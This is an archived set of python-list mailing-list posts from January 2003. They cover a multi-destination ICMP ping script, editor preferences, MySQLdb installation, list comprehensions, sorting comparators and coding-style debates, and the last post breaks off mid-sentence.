Also, the byte swap at the end is a host-to-network byte order change, and 
is not portable as written (unlike mine).

Andrew

Ps:  Just for fun, here's the above function in Pyrex :-)

import struct
IP6Header = '!LHBB16s16s'
IP6Header_len  = struct.calcsize(IP6Header)

cdef extern from "netinet/in.h":
    unsigned int htonl(unsigned int hostlong)
    unsigned short htons(unsigned short hostshort)
    unsigned int ntohl(unsigned int netlong)
    unsigned short ntohs(unsigned short netshort)

cdef extern from "Python.h":
    object PyString_FromStringAndSize(char *s, int len)
    int PyString_AsStringAndSize(object obj, char **buffer, int *length)
    int PyString_Check(object o)

cdef extern from "stdlib.h":
    void *calloc(unsigned int nmemb, unsigned int size)
    void *malloc(unsigned int size)
    void free(void *ptr)

cdef extern from "string.h":
    void *memcpy(void *dest, void *src, int n)

def fixULPChecksum(packet):
    cdef int plength, csum, i
    cdef char *packetbuf

    plength = len(packet)
    packetbuf = packet
    # evil assumptions: no IP options, IPv4
    csum = 0
    for i from 0 <= i < 4:
        csum = csum + ntohs((<unsigned short *> (packetbuf + 12))[i])
    csum = csum + packetbuf[9] + (plength - 20)
    i=0
    for i from 0 <= i < 8:
        csum = csum + ntohs((<unsigned short *> (packetbuf + 20))[i])
    i=0
    for i from 10 <= i < ((plength - 20) >> 1):
        csum = csum + ntohs((<unsigned short *> (packetbuf + 20))[i])
    csum = (csum>>16) + (csum&0xffff)
    csum = csum + (csum>>16)
    csum = (csum&0xffff)^0xffff

    r = PyString_FromStringAndSize(packetbuf, plength)
    # move packetbuf to pointing into the new string's buffer
    packetbuf = r
    ((<unsigned short *> (packetbuf + 20))[8]) = htons(<unsigned short> 
csum)
    return r



--On Saturday, January 04, 2003 03:07:38 +0000 darrell 
<dgallion1 at yahoo.com> wrote:

> Multiple ping sounded like fun.
> So here's a quick mod to some ping code I found.
>
> --Darrell Gallion
>
>
># !/usr/bin/env python
>
># Derived from ping.c distributed in Linux's netkit. That code is
># copyright (c) 1989 by The Regents of the University of California.
># That code is in turn derived from code written by Mike Muuss of the
># US Army Ballistic Research Laboratory in December, 1983 and
># placed in the public domain. They have my thanks.
>
># Bugs are naturally mine. I'd be glad to hear about them. There are
># certainly word-size dependenceies here.
>
># Copyright (c) Matthew Dixon Cowles, <http://www.visi.com/~mdc/>.
># Distributable under the terms of the GNU General Public License
># version 2. Provided with no warranties of any sort.
>
># Note that ICMP messages can only be sent from processes running
># as root.
>
># Revision history:
>#
># November 22, 1997
># Initial hack. Doesn't do much, but rather than try to guess
># what features I (or others) will want in the future, I've only
># put in what I need now.
>#
># December 16, 1997
># For some reason, the checksum bytes are in the wrong order when
># this is run under Solaris 2.X for SPARC but it works right under
># Linux x86. Since I don't know just what's wrong, I'll swap the
># bytes always and then do an htons().
>#
># December 4, 2000
># Changed the struct.pack() calls to pack the checksum and ID as
># unsigned. My thanks to Jerome Poincheval for the fix.
>#
># Jan 3, 2003
># Added Pinger class to handle multiple ping dest
># Darrell Gallion
>#
>
> import os
> from socket import *
> import struct
> import select
> import time
> import sys
>
># From /usr/include/linux/icmp.h; your milage may vary.
> ICMP_ECHO_REQUEST=8 # Seems to be the same on Solaris.
> myID=os.getpid() & 0xFFFF
>
># I'm not too confident that this is right but testing seems
># to suggest that it gives the same answers as in_cksum in ping.c
> def checksum(str):
>   sum=0
>   countTo=(len(str)/2)*2
>   count=0
>   while count<countTo:
>     thisVal=ord(str[count+1])*256+ord(str[count])
>     sum=sum+thisVal
>     sum=sum & 0xffffffff # Necessary?
>     count=count+2
>
>   if countTo<len(str):
>     sum=sum+ord(str[len(str)-1])
>     sum=sum & 0xffffffff # Necessary?
>
>   sum=(sum >> 16) + (sum & 0xffff)
>   sum=sum+(sum >> 16)
>   answer=~sum
>   answer=answer & 0xffff
>
>   # Swap bytes. Bugger me if I know why.
>   answer=answer >> 8 | (answer << 8 & 0xff00)
>   return answer
>
>
> class Pinger:
>     def __init__(self, *dest):
>         self.results={}
>         icmp=getprotobyname("icmp")
>         self.soc=socket(AF_INET,SOCK_RAW,icmp)
>
>     def receivePings(self,timeout):
>         timeLeft=timeout
>         while 1:
>             startedSelect=time.time()
>             whatReady=select.select([self.soc],[],[],timeLeft)
>             howLongInSelect=(time.time()-startedSelect)
>             if whatReady[0]==[]: # Timeout
>                 return
>             timeReceived=time.time()
>             recPacket,addr= self.soc.recvfrom(1024)
>             icmpHeader=recPacket[20:28]
>
> type,code,checksum,packetID,sequence=struct.unpack("bbHHh",icmpHeader)
>             if self.destDict.has_key(packetID):
>                 bytesInDouble=struct.calcsize("d")
>
> timeSent=struct.unpack("d",recPacket[28:28+bytesInDouble])[0]
>                 dT = timeReceived-timeSent
>                 self.results[self.destDict[packetID]]=dT
>#                print self.destDict[packetID], dT
>                 del self.destDict[packetID]
>                 if len(self.destDict)==0:
>                     return
>
>             timeLeft=timeLeft-howLongInSelect
>             if timeLeft<=0:
>                 return
>
>     def sendPings(self):
>         for ID, dest in self.destDict.items():
>             # Header is type (8), code (8), checksum (16), id (16),
> sequence  (16)
>             myChecksum=0
>             # Make a dummy heder with a 0 checksum.
>             header=struct.pack("bbHHh",ICMP_ECHO_REQUEST,0,myChecksum,
> ID,1)             bytesInDouble=struct.calcsize("d")
>             data=(192-bytesInDouble) * "Q"
>             data=struct.pack("d",time.time())+data
>             # Calculate the checksum on the data and the dummy header.
>             myChecksum=checksum(header+data)
>             # Now that we have the right checksum, we put that in. It's
> just  easier
>             # to make up a new header than to stuff it into the dummy.
>
> header=struct.pack("bbHHh",ICMP_ECHO_REQUEST,0,htons(myChecksum), ID,1)
>             packet=header+data
>             self.soc.sendto(packet,(dest,1)) # Don't know about the 1
>
>     def ping(self, destAddr,timeout=10):
>         # Returns either the delay (in seconds) or none on timeout.
>         dest=[]
>         for n in destAddr:
>             dest.append(gethostbyname(n))
>         self.destDict={}
>         cnt=3 # Started at 3 for no good reason
>         for d in destAddr:
>             self.destDict[cnt]=d
>             cnt+=1
>
>         self.sendPings()
>         self.receivePings(timeout)
>         self.soc.close()
>         return self
>
> def main():
>     if len(sys.argv)<2:
>         print "Usage: %s hostname" % os.path.basename(sys.argv[0])
>         sys.exit(1)
>
>     print Pinger().ping(sys.argv[1:]).results
>     return None
>
> if __name__=='__main__':
>   main()
>   sys.exit(0)
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From grey at despair.dmiyu.org  Fri Jan  3 13:54:04 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 18:54:04 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org> <ouel7ur3pg.fsf@andlx-anamika.cisco.com> <slrnb1amgh.k1t.grey@teleute.dmiyu.org> <ouadiiquxx.fsf@andlx-anamika.cisco.com>
Message-ID: <slrnb1bn2b.o8n.grey@teleute.dmiyu.org>

On 03 Jan 2003 17:58:10 +0530, Ganesan R <rganesan at myrealbox.com> wrote:
> No, because your "scripts" will call emacs internal functions. I don't
> expect jed extension scripts to work outside of jed though it's written in
> slang (a language that slrn also uses) for the same reason. 

    Then that is why I do not consider them programs in their own right nor do
I consider gnus for newsreading or email or what not a viable option as it
requires the installation of an /editor/ along with the language it is written
in.  Would you like, say, a souped of version of Pico slammed into Python
(We'll call it Pyco) even though you have a perfectly workable editor
elsewhere?  I wouldn't.

> Actually, there does exist a tetris written for emacs :-). 

    I know, why do you think I chose it.  :P

> It then appears that your main complaint is that emacs ships with all these
> extensions that have nothing to do with editing. It's a valid complaint, I
> cringe at the size of distribution for every new emacs release. Emacs 20 is
> all of 28megs on my disk - emacs21 is 40meg. 

    I know, which is why I said 26Mb.  That happens to be what apt-cache
reports emacs20 as being when installed.  Compared to the other editors I've
used (joe, jed, vim) that is a bit excessive.

> But please don't be misled by the myth that it is bloated. There is reason
> for the "bloat" and these days is not all that bad actually. For example
> here's the top output of a newly started emacs and gvim. Not bad right.

    Now compare the non-X versions.  Why would I want gvim when vim in an rxvt
works just fine?
 
> Don't even get me started about these "modern" IDEs. Eclipse starts at
> 60Meg, even the so called "fast" IntelliJ starts at 40Meg. I guess both of
> them would count as serious editors in your book. Now, that's bloat.

    Actually, they don't count as serious editors in my book.  The are IDEs.
IDEs contain editors.  Quite frankly I'd prefer IDEs make appropriate calls to
whatever editor I prefer, but that's another issue.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From nealj at users.sourceforge.net  Fri Jan 24 16:40:14 2003
From: nealj at users.sourceforge.net (neal)
Date: 24 Jan 2003 13:40:14 -0800
Subject: Debugging mixed Python and C++ -- possible?
References: <CFN376434482471181@news.mindspring.com> <mailman.1043286648.30904.python-list@python.org> <eqfp0b-6r5.ln@majestix.gallien.de>
Message-ID: <70c9833d.0301241340.69dffbc1@posting.google.com>

We use Hap and Visual Studio and it works great - set the
HapClient.exe as the application to debug in visual studio, then from
hap, choose connect remote - it will connect to the waiting
HapClient.exe that is being debugged.  There are a few extra things
you can do as well such as break on the next line of python code when
you are broken in C++.  Works great.



From ah at well.ysee  Mon Jan 13 17:24:09 2003
From: ah at well.ysee (Kelv)
Date: Mon, 13 Jan 2003 22:24:09 GMT
Subject: RH8.0, gfax, python
In-Reply-To: <mailman.1042490184.32188.python-list@python.org>
References: <PZEU9.509$Pw.315@news1.central.cox.net> <mailman.1042490184.32188.python-list@python.org>
Message-ID: <d0HU9.1331$Pw.516@news1.central.cox.net>

Andrew McGregor wrote:
> Find and install gnome-python2*.rpm from your distro and you should be 
> right.

The rpm in question is gnome-python2-1.99.11-8.i386.rpm, and alas it is 
already installed.

Kelv




From dickerc6 at hotmail.com  Thu Jan 30 12:28:07 2003
From: dickerc6 at hotmail.com (pedro alvarez)
Date: 30 Jan 2003 09:28:07 -0800
Subject: php frontend, python backend
References: <bfac4f24.0301281429.6783ab5a@posting.google.com> <b17jev$kaq$2@news-int.gatech.edu> <mailman.1043825572.3190.python-list@python.org> <v3fpbmf6d9tk1a@corp.supernews.com>
Message-ID: <bfac4f24.0301300928.48d3be08@posting.google.com>

claird at lairds.com (Cameron Laird) wrote in message 
 
> 
> Mr. Alvarez, I've rewritten this follow-up several
> times already to simplify it to the essentials.  My
> best speculation is that you will not need to in-
> volve yourself in PHP at all; it's likely that you
> can use Python, as you wish.
> 
> Take these steps:
> 1.  Determine the operating system and Web
>     server of your hosting provider.
> 2.  Confirm with your hosting provider that
>     it supports CGI.
> 3.  Experiment with simple CGI to locate
>     a Python processor already available on
>     your host.  It's likely this will be suc-
>     cessful even though the provider says it's
>     unsupported.
> 4.  Check back here.  Even if every one of my
>     guesses about your situation is wrong, 
>     there still are several ways to use Python
>     that might apply.


Thanks a lot. Very helpful. My problems okay now, in fact not a problem
but just confusion, because webhost told me i cant use python, only php.
But they dont know anything. And me too i dont know anything.
Just like in supermarket, u ask staff, 'have u got cabbage', and he says no,
then later u find it next to entrance. Like that.



From uwe.schmitt at procoders.net  Thu Jan 23 11:02:56 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 23 Jan 2003 16:02:56 GMT
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de> <3e3009e2$0$231$4d4ebb8e@news.nl.uu.net>
Message-ID: <b0p3ng$106egm$1@hades.rz.uni-sb.de>

Gumuz <gumuz at looze.net> wrote:
> i didn't take a very close look at it yet, but it seems that your
> allowlist&disallowlist make it possible to create some sort of subset of
> python

that is how it works: the exec statement can be called with
a manipulated globals() dictionary. So if one builds this dictionary
without the entry 'file', file access is not possible.
I expanded this technique, so one can load modules with
restricted access. 

Greetings, Uwe.



-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From peter at engcorp.com  Thu Jan 23 21:23:07 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 23 Jan 2003 21:23:07 -0500
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <b68f71a7.0301211050.68ab02dd@posting.google.com> <xWmX9.33379$bs2.30006@news2.central.cox.net> <3E2E05AC.2C136710@engcorp.com> <1b7b30.0301221804.301846f4@posting.google.com> <3E2F59F9.6BF0A85E@engcorp.com> <1b7b30.0301231800.455cfbc8@posting.google.com>
Message-ID: <3E30A38B.9354CAE8@engcorp.com>

Glenn wrote:
> 
> My turn: I hereby retroactively insert a smiley that was not in my
> post, as I actually had picked up on the humor in the original
> statement.
> 
> Hey!  :-)  (Cut and paste appropriately)
> 
> Now all there is to do is lift a pint.
> 
> (Note the lack of a smiley.)

No!  There *should* be smileys on all discussions of beer!

Just not winkeys... ;-)

-Peter



From gerrit at nl.linux.org  Wed Jan  8 09:56:00 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 8 Jan 2003 15:56:00 +0100
Subject: list comprehensions value assignment syntax error
In-Reply-To: <3E1B74F8.2020200@earthlink.net>
References: <mailman.1041983459.23262.python-list@python.org> <3E1B74F8.2020200@earthlink.net>
Message-ID: <20030108145600.GA2770@nl.linux.org>

Hans Nowak schreef op woensdag  8 januari om 01:47:01 +0000:
> Gerrit Holl wrote:
> 
> >I am trying to assign to a list item using list comprehensions, but this
> >raises a SyntaxError:
> >
> >>>>[l[i] = chr(i) for i in range(256)]
> >>>
> >   File "<stdin>", line 1
> >       [l[i] = chr(i) for i in range(256)]
> >	             ^
> >				 SyntaxError: invalid syntax
> >
> >Why?
> 
> The first part of a list comprehension must be an expression. An assignment 
> like l[i] = chr(i) is a statement.

Ah, I see. Thank you for your help, I did not realise this.

> As others have pointed out, you can write this as
> 
>   l = [chr(i) for i in range(256)]
> 
> or, if you don't want to rebind l to a new object,
> 
>   l[:] = [chr(i) for i in range(256)]

I now realise my problem did only rise because my list is 2-dimensional,
e.g. I can do:

>>> L[3][2:7] = range(5) # or with list comprehension instead of range(5)
...but I can't do:
>>> L[2:7][3] = range 5
...or of course this does something very different.

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From skip at pobox.com  Wed Jan 15 10:11:20 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 15 Jan 2003 09:11:20 -0600
Subject: Soundex or Metaphone algorithms ?
In-Reply-To: <199f365a.0301150213.45dbb9a5@posting.google.com>
References: <199f365a.0301150213.45dbb9a5@posting.google.com>
Message-ID: <15909.31256.883307.602836@montanaro.dyndns.org>

    arkana> does anyone know an implementation of soundex or metaphone
    arkana> algorithm in python ?

Soundex (written in C) used to be part of the Python standard library.  It
was removed a few revs ago.  There is a Python implementation available at

    http://www.musi-cal.com/~skip/python/

(search for "soundex").  If performance is a big deal for your application,
there is also a link to the original soundex.c.

Skip





From sholden at holdenweb.com  Wed Jan 15 14:26:42 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 14:26:42 -0500
Subject: Newbie: How to connect to MySQL?
References: <DF8BBD50-28BE-11D7-BE76-000393944F2A@ciceana.org.mx>
Message-ID: <085001c2bccc$09942810$6300000a@holdenweb.com>

The problem appears to be either that MySQl itself is not installed, or that
it's installed in a non-standard location.

Obviously you can get over the former problem by installing it! The latter
will require a little editing of the setup.py file to tell it where to find
MySQL. I seem to remember that Andy Dustman has commented the code fairly
well to make this possible.

Good luck!

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/

----- Original Message -----
From: "Eduardo Cancino" <webmaster at ciceana.org.mx>
To: "Steve Holden" <sholden at holdenweb.com>; <python-list at python.org>
Sent: Wednesday, January 15, 2003 2:23 PM
Subject: Re: Newbie: How to connect to MySQL?


> What i meant about it doesn't find my compiler is:
>
> when i type "python setup.py build"
>
> this is the end of the message:
>
> ld: warning -L: directory name (/usr/lib/mysql) does not exist
> ld: warning -L: directory name (/usr/local/lib/mysql) does not exist
> ld: warning -L: directory name (/usr/local/mysql/lib/mysql) does not
> exist
> ld: warning -L: directory name (/sw/lib) does not exist
> ld: can't locate file for: -lmysqlclient_r
> error: command 'gcc' failed with exit status 1
>
> and gcc is installed in /usr/bin/gcc
>
> not the python interpreter, that was installed by me from source
> and it is working flawlessly
>
> i really wan't to know about CGI Module, because that's is my primary
> intention.
>
> Thank you.
>
>
>
> On Wednesday, January 15, 2003, at 10:43 AM, Steve Holden wrote:
>
> > "Eduardo Cancino" <lalo at ciceana.org.mx> wrote in message
> > news:mailman.1042643607.2959.python-list at python.org...
> >> Hi everybody!
> >>
> >> I downloaded the mysql-python from sourceforge, and I tried to install
> >> it on my Mac0S 10.2.1
> >> but even i have the Developer tools the:
> >>
> >> python setup.py build
> >> python setup.py install
> >>
> >> commands doesn't find my compiler.
> >>
> >> I looked in www.python.org, some of this but didn't find it.
> >>
> >> Where I cand find a installing tutorial or something i can get to
> >> start
> >> programming python with databases?
> >>
> >> Is there a db module like dbi in perl?
> >> And the cgi module works as the perl one?
> >>
> >>
> >
> > Eduardo:
> >
> > I can't answer your question as to why your command-line isn't finding
> > the
> > Python interpreter. That's another issue. However, if you're sure you
> > have
> > /usr/bin/python then as long as setup.py is marked as executable the
> > command
> >
> >     setup.py build
> >
> > should work.
> >
> > As far as your questions about "is there a db module", Python database
> > modules should conform the the Python DB API version 2, thereby
> > offering a
> > reasonably standard interface. You can find a description at
> >
> >     http://www.python.org/peps/pep-0249.html
> >
> > The MySQLdb module you have downloaded offers a fairly complete
> > implementation, along wiht a few added tweaks and wrinkles like
> > "dictionary
> > cursors".
> >
> > As for the CGI module: walk before you run! ;-)
> >
> > regards
> > --
> > Steve Holden                                  http://www.holdenweb.com/
> > Python Web Programming                 http://pydish.holdenweb.com/pwp/
> > Bring your musical instrument to PyCon!    http://www.python.org/pycon/
> >
> >
> >
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >
>
>
>






From news at youplusme.com  Sun Jan 12 01:13:19 2003
From: news at youplusme.com (newsman)
Date: 11 Jan 2003 22:13:19 -0800
Subject: Boolean searches of file content.
References: <BA4624FE.1EBF%c1572young@earthlink.net>
Message-ID: <81fbdcf7.0301112213.21d65d85@posting.google.com>

> Say I want to find only those files that have  both  "apple" and
> "orange" in them.  The command
> 
>     egrep 'apple|orange' {directory}
> 
> finds either one. Is there a way to do this with egrep? Or is something
> like "perl" or "sed" better?  I want to end up with a list of files and,
> if possible, the lines and line numbers where matches were found.
> 
> What would be great is some way of being able to specify how close the
> words were and other details.
> 
> Thanks very much for any help.

How about :
  ls | egrep 'apple' | egrep 'orange'

nm


////////////////
www.iuni.com
www.youplusme.com



From drifty at bigfoot.com  Mon Jan  6 15:49:01 2003
From: drifty at bigfoot.com (Brett C.)
Date: 6 Jan 2003 12:49:01 -0800
Subject: Who censors python-dev Summary ;-(
References: <mailman.1040207784.9877.python-list@python.org>
Message-ID: <f85b5ab1.0301061249.3d64fa13@posting.google.com>

"Wiktor Sadowski" <art at wiktorsadowski.com> wrote in message news:<mailman.1040207784.9877.python-list at python.org>...
> [python-dev Summary for 2002-12-01 through 2002-12-15]
> 1.version sent to python-dev at python.org
> >All was right with the world, more or less.
>  
> >*But then Wiktor Sadowski commented on a checkin for `import.c`  and 
>  how he
> >would like a better way to write custom imports.*  This led to Just van
> >Rossum to write a new import mechanism. 
> 
> 
> 2.version sent to python-list at python.org
> >All was right with the world, more or less.
>  
> >*But Just van Rossum didn't like the added complexity to import.c .* 
> >This led to Just to write a new import mechanism.
> 
>  Looks like I am on a BlackList ;-( 
> 

No blacklist, just a clarification of the facts.  python-dev gets a
copy of the newest summary a day before c.l.py and c.l.py.a get one so
as to allow the list to go over it and look for errors that I have
made.  This happens to be one of them.  Just said that he rewrote it
because of the added complexity to import.c, not because you made a
comment on python-dev like I initially thought.



From anton at vredegoor.doge.nl  Tue Jan 28 10:36:19 2003
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Tue, 28 Jan 2003 16:36:19 +0100
Subject: sort by last then by first
References: <1964c4d7.0301271648.18dba0b3@posting.google.com>
Message-ID: <b16841$325$1@news.hccnet.nl>

On 27 Jan 2003 16:48:27 -0800, bk at whack.org (Brian Kranson) wrote:

>is is possible to sort a list by one field and then by another field
>in the list.  for example....

As long as its possible to compare each pair of items without knowing
anything about the other items it should be possible to write a
specialized comparing function.

This seems to work (not thoroughly tested):

def specialcompare(a,b):
    (a1,a2),(b1,b2) = a,b
    if a1 < b1:
        return 1
    if a1 == b1:
        return cmp(a2,b2)
    return -1

def test():
    names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
        'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]  
    names.sort(specialcompare)
    print names


if __name__=='__main__':
    test()

output:
[['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'],
['Flintstone', 'Pebbles'], ['Flintstone', 'Wilma']]






From vze4rx4y at verizon.net  Fri Jan  3 20:20:38 2003
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Sat, 04 Jan 2003 01:20:38 GMT
Subject: practice programs
References: <3e1623e1$1_5@nopics.sjc>
Message-ID: <GFqR9.2073$LY3.1421@nwrddc04.gnilink.net>

From: "Tupoi" <EDB30 at msn.com>
> any ideas for programms a begginer might try writing to help hone his
skills

A spell checker might be useful ;)


Some classic exercises are:
-- prime number generator (3,5,7,11, and 13 are prime; 9 is an anomaly)
-- Markov sentence generation
-- mail merge (table of fields inserted in to text with place holders)
-- key word in context (search google for KWIC index)
-- shuffle a deck and evaluate a blackjack hand
-- use introspection and metaclasses to write a native Python compiler
(okay, maybe not).


Raymond Hettinger





From abelikov72 at hotmail.com  Sat Jan 18 22:56:00 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 19 Jan 2003 03:56:00 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain>
Message-ID: <og8k2vcu9ro7alrotei17tnm7umvmnou8f@4ax.com>

On 18 Jan 2003 19:56:24 GMT, Grant Edwards <grante at visi.com> wrote:

>In article <Xns9307CD595EDCBrcamesz at amesz.demon.nl>, Robert Amesz wrote:
>> Grant Edwards wrote:

>For whatever historical reasons, operator overloading and function/method
>overloading are usually considered as two separate language features.  C and
>python have the former but not the latter. C++ has both.

Like others, I was caught by "C [has] the former"... and I will just
say... I meant overloading that developers could define themselves.

Otherwise, I have a tough time thinking of a language
that doesn't have operator "overloading"...



From lac at strakt.com  Fri Jan 31 00:13:39 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 31 Jan 2003 06:13:39 +0100
Subject: Python Success Stories or Nightmares 
In-Reply-To: Your message of "Thu, 30 Jan 2003 20:05:08 PST."
             <3E39F5F4.2A9E5765@alcyone.com> 
References: <mailman.1043967059.7713.python-list@python.org> <3E39F5F4.2A9E5765@alcyone.com> 
Message-ID: <200301310513.h0V5DdjL003653@ratthing-b246.strakt.com>

http://pythonology.org/success may be of interest.

Laura Creighton




From kyle at lakeofburningfire.org  Sun Jan 26 02:49:33 2003
From: kyle at lakeofburningfire.org (Kyle Yancey)
Date: Sun, 26 Jan 2003 07:49:33 GMT
Subject: Life cycle of a mod_python application and scope of global variables
References: <gmv23v0636f5lnod5efh7emoi4uao9275o@4ax.com> <50f33vofevm3og4bp1ji85atd22bqduv11@4ax.com> <13a533e8.0301250539.169c7d9c@posting.google.com>
Message-ID: <sl473v0q7g05nd3r1fuuihg7a2dnjdo2lj@4ax.com>

Yep, that's right.  I shouldn't have typed that in so fast.  Now for
my original question.  Do global values have to be protected by
mutexes to prevent race conditions.



From Scott.Daniels at Acm.Org  Thu Jan 30 17:34:57 2003
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Thu, 30 Jan 2003 14:34:57 -0800
Subject: else in list comp
In-Reply-To: <mailman.1043813212.6357.python-list@python.org>
References: <mailman.1043813212.6357.python-list@python.org>
Message-ID: <3e39a890$1@nntp0.pdx.net>

Cliff Wells wrote:
> I was looking for a fast, clean way of converting a single value in a
> list to a different value (specifically None to '').  It occurred to me
> to use a list comp and ...:
> 
Possibly:
     translate = {None:''}.get
     lst = ['mary', 'had', 'a', 'little', None]
     [translate(val, val) for val in lst]


-Scott David Daniels
Scott.Daniels at Acm.Org




From tismer at tismer.com  Thu Jan 30 22:36:51 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 04:36:51 +0100
Subject: Implicit lists
In-Reply-To: <200301301823.54257.aleax@aleax.it>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de> <200301301823.54257.aleax@aleax.it>
Message-ID: <3E39EF53.2050206@tismer.com>

Alex Martelli wrote:

...

>>But i agree that grouping into 'non-iterables except strings and
>>unicode' on one side and everything else on the other side most
>>often makes sense.
> 
> 
> Yes, as long as you also include "instances of UserString and
> the like" among "strings and unicode".  Personally, I prefer to
> talk of "string-like objects", and my favourite way to check if
> an object is string-like is to see if thatobject+'' raises an
> exception -- if it doesn't, it's stringlike enough for me.

Besides th fact that I believe strings as sequences
should be deprecated, since nobody makes use of it,
but everybody fights it...
... I can't see the relevance of UserString.
Wasn't getting rid of UserAnything one of the reasons
for the introduction of the unified type/class system?
UserString is only a compatibility module, IMHO.

But maybe we could simplify matters by providing something
like a stringlike() inquiry function.
Strings being seen as sequences always have been a PITA
for me, especially in user argument lists vs non lists.

ciao - chris





From max at alcyone.com  Sun Jan 12 21:52:44 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 18:52:44 -0800
Subject: pure virtual functions in python
References: <mailman.1042421962.25379.python-list@python.org>
Message-ID: <3E2229FC.F029EE9F@alcyone.com>

"Delaney, Timothy" wrote:

> Most responses have used `NotImplementedError`. This is fine, and
> useful if
> you want the abstract class to document what methods it defines.
> 
> The other approach is to document what attributes/methods other
> functions
> require their parameters to have. This achieves the same effect (but
> throws
> an `AttributeError` rather than a `NotImplementedError`), but is in
> many
> ways more versatile.
> 
> I have never used `NotImplementedError` in my python code. Why bother?

I prefer explicit is better than implicit.  Simply using documentation
certainly gets the same effect, I agree, but there's something more
prominently indicating "Hey, you forgot to override something" when you
get a NotImplementedError rather than an AttributeError.  An
AttributeError might just indicate, for instance, that you spelled the
method name wrong.  A NotImplementedError means that I spelled it right,
but someone, somewhere along the line forgot to override a method which
required overriding.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ If the sky should fall, hold up your hands.
\__/ (a Spanish proverb)
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From jb at cascade-sys.com  Fri Jan 24 05:00:29 2003
From: jb at cascade-sys.com (James J. Besemer)
Date: Fri, 24 Jan 2003 02:00:29 -0800
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <c718a6cf.0301232005.326b8068@posting.google.com>
Message-ID: <3E310EBD.1060804@cascade-sys.com>

Y2KYZFR1 wrote:

> It does not show how clever you are, just how lazy and inconsiderate
> you are. I have fired people for less than this personally!

Then I'd say you're lucky if you haven't been sued for wrongful termination. 
     ;o)  Or perhaps you're luckily not subject to all the same rules that 
constrain managers in the US.

In the scheme of things, your basic inline choice construct/idiom is no more 
complicated or confusing than Python's and/or operators, array subscripting 
or dozens of other common features.  Most of us appreciate the extra 
generality of Python's and/or operators returning their arguments instead of 
a boolean result but I bet it is one of a number of minor stumbling blocks 
for many newcomers.  As shown by the common replacement idiom, inline choice 
is barely more than combining and/or in the proper order, so what's the big 
deal?  I mean, we're not talking anything approaching "Duff's Device" level 
of obscurity (http://info.astrian.net/jargon/terms/d/Duff_s_device.html).

In decades of programming I have found choice in data to be every bit as 
natural and useful as choice in control flow.  Often your data divides into 
more than just two pieces and you use an array but choosing among two sub 
expressions arises commonly enough to justify its own operator.  If the 
construct is implemented, taught, learned and properly used along with all 
the rest of the language then it is no more obscure or difficult for 
beginners or maintainers than hundreds of other subtleties typically found in 
any robust programming language.

I hasten to add, that whenever I do have occasion to use inline choice, I 
always fully parenthesize and "properly" indent the sub expressions, for 
maximum clarity:

     targetVar1 = ( condition1
                      ? ( condition2
                          ? result1
                          : result2 )
                      : result3 )

This convention preserves the notion that the first token on every line is a 
big clue as to what's going on with the rest of the line and that you can see 
the overall structure from the indentation.  (Some might prefer an 
alternative style where the trailing ')' lines up with the corresponding ':'.)

Frankly, I find that verbosity in and of itself does not necessarily increase 
  the clarity of code and more often it's actually harmful.  The fact that 
the Python equivalent of the above expression is more lines and more typing 
does not really add to the clarity of expression (except if you happen to be 
brainwashed to see things only that one way).

	if condition1:
	    if condition2
                 targetVar1 = result1
             else:
                 targetVarl = result2
	else:
	    targetVar1 = result3

In fact, I would argue that inline choice actually increases the clarity of 
the source code because it emphasizes that "targetVar1" is necessarily the 
single target of all possible sub expressions.  In the if/else form the 
